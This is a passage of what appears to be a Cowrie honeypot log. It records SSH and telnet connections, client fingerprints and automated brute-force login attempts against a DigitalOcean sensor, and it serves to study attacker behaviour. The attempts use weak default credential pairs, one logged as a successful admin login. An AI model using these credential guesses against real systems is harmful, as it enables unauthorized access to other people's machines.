,"ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:44.010780Z","src_ip":"91.92.40.36","session":"865272ac0dea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"123456","message":"login attempt [client/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:44.453228Z","src_ip":"45.153.34.195","session":"9c1e75cc2f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:45.370224Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:45.535623Z","src_ip":"45.153.34.195","session":"9c1e75cc2f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":36860,"dst_ip":"10.17.0.5","dst_port":22,"session":"636941cd95b5","protocol":"ssh","message":"New connection: 45.153.34.195:36860 (10.17.0.5:22) [session: 636941cd95b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:46.743891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:46.748223Z","src_ip":"45.153.34.195","session":"636941cd95b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:46.827155Z","src_ip":"45.153.34.195","session":"636941cd95b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"password","message":"login attempt [appuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:47.147976Z","src_ip":"45.153.34.195","session":"636941cd95b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:48.232938Z","src_ip":"45.153.34.195","session":"636941cd95b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":36886,"dst_ip":"10.17.0.5","dst_port":22,"session":"d65b1472929c","protocol":"ssh","message":"New connection: 45.153.34.195:36886 (10.17.0.5:22) [session: d65b1472929c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:49.479957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:49.484597Z","src_ip":"45.153.34.195","session":"d65b1472929c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:49.566311Z","src_ip":"45.153.34.195","session":"d65b1472929c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456789","message":"login attempt [user/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:49.811684Z","src_ip":"45.153.34.195","session":"d65b1472929c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:50.896650Z","src_ip":"45.153.34.195","session":"d65b1472929c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48420,"dst_ip":"159.203.135.109","dst_port":22,"session":"72543fa38b00","protocol":"ssh","message":"New connection: 91.92.40.36:48420 (159.203.135.109:22) [session: 72543fa38b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:51.099105Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":59882,"dst_ip":"10.17.0.5","dst_port":22,"session":"921ff06c3cb7","protocol":"ssh","message":"New connection: 23.175.50.51:59882 (10.17.0.5:22) [session: 921ff06c3cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:51.997246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:52.001488Z","src_ip":"23.175.50.51","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:52.173603Z","src_ip":"23.175.50.51","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":45944,"dst_ip":"10.17.0.5","dst_port":22,"session":"a61e6b87628e","protocol":"ssh","message":"New connection: 45.153.34.195:45944 (10.17.0.5:22) [session: a61e6b87628e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:52.183660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:52.235526Z","src_ip":"45.153.34.195","session":"a61e6b87628e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:52.313245Z","src_ip":"45.153.34.195","session":"a61e6b87628e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dell","password":"dell@000","message":"login attempt [dell/dell@000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:52.375090Z","src_ip":"91.92.40.36","session":"865272ac0dea","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:52.457703Z","src_ip":"91.92.40.36","session":"72543fa38b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:52.464497Z","src_ip":"91.92.40.36","session":"72543fa38b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t","message":"login attempt [root/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:52.637188Z","src_ip":"45.153.34.195","session":"a61e6b87628e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35964,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ac26bc6afec","protocol":"telnet","message":"New connection: 128.199.8.54:35964 (159.203.135.109:23) [session: 0ac26bc6afec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:53.360458Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:53.725317Z","src_ip":"45.153.34.195","session":"a61e6b87628e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:53.847483Z","src_ip":"23.175.50.51","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":45962,"dst_ip":"10.17.0.5","dst_port":22,"session":"6535483b11e4","protocol":"ssh","message":"New connection: 45.153.34.195:45962 (10.17.0.5:22) [session: 6535483b11e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:54.902769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:54.910290Z","src_ip":"45.153.34.195","session":"6535483b11e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:54.985243Z","src_ip":"45.153.34.195","session":"6535483b11e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"k","password":"k","message":"login attempt [k/k] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:55.538917Z","src_ip":"45.153.34.195","session":"6535483b11e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:55.846021Z","src_ip":"91.92.40.36","session":"865272ac0dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:56.621397Z","src_ip":"45.153.34.195","session":"6535483b11e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":45986,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a7a2f763a07","protocol":"ssh","message":"New connection: 45.153.34.195:45986 (10.17.0.5:22) [session: 9a7a2f763a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:57.760698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:57.767349Z","src_ip":"45.153.34.195","session":"9a7a2f763a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:57.849158Z","src_ip":"45.153.34.195","session":"9a7a2f763a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:58.094780Z","src_ip":"45.153.34.195","session":"9a7a2f763a07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":53416,"dst_ip":"10.17.0.5","dst_port":22,"session":"f725bd15fdd8","protocol":"ssh","message":"New connection: 123.27.168.40:53416 (10.17.0.5:22) [session: f725bd15fdd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:58.383656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:58.388216Z","src_ip":"123.27.168.40","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:58.639430Z","src_ip":"123.27.168.40","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:59.177902Z","src_ip":"45.153.34.195","session":"9a7a2f763a07","protocol":"ssh"}
